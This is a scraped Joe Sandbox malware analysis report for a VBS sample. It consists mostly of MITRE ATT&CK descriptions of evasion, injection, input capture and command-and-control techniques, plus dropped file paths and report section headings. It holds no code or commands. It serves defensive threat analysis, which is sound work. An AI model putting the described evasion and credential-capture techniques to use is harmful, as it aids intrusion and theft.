Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report F8HYX5HOgA.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e5sx0wel.k4q.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i4fqnugb.rky.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgxm3ru0.slx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnpapjzp.has.psm1

C:\Users\user\AppData\Roaming\BIT22B9.tmp

C:\Users\user\AppData\Roaming\Notorhiza.Sal (copy)

Static File Info

General

Windows Analysis Report
F8HYX5HOgA.vbs

Function 00007FF848E8CA60 Relevance: 4.1, Strings: 2, Instructions: 1563
COMMON

Function 00007FF848E95A76 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Function 00007FF848E96822 Relevance: 3.0, Strings: 2, Instructions: 460
COMMON

Function 00007FF848E8AF80 Relevance: 1.8, APIs: 1, Instructions: 334
comCOMMON

Function 00007FF848E8E5B9 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Function 00007FF848F5328D Relevance: .4, Instructions: 376
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre